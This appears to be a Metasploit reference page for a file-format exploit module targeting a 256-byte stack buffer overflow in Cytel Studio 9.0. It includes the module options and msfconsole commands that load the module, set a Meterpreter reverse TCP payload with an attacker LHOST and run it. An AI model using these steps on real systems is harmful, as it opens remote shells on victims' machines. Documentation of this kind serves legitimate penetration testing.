Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow
This module exploits a stack based buffer overflow found in Cytel Studio <= 9.0. The overflow is triggered during the copying of strings to a stack buffer of 256 bytes.
Exploit Rank
- Good
Exploit Authors
- Luigi Auriemma < >
- James Fitts < >
Vulnerability References
Exploit Targets
- 0 - Cytel Studio 9.0 (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/fileformat/cytel_studio_cy3
msf exploit(cytel_studio_cy3) > show payloads
msf exploit(cytel_studio_cy3) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(cytel_studio_cy3) > set LHOST [MY IP ADDRESS]
msf exploit(cytel_studio_cy3) > exploit
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msf > use exploit/windows/fileformat/cytel_studio_cy3
msf exploit(cytel_studio_cy3) > show payloads
msf exploit(cytel_studio_cy3) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(cytel_studio_cy3) > set LHOST [MY IP ADDRESS]
msf exploit(cytel_studio_cy3) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.cy3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |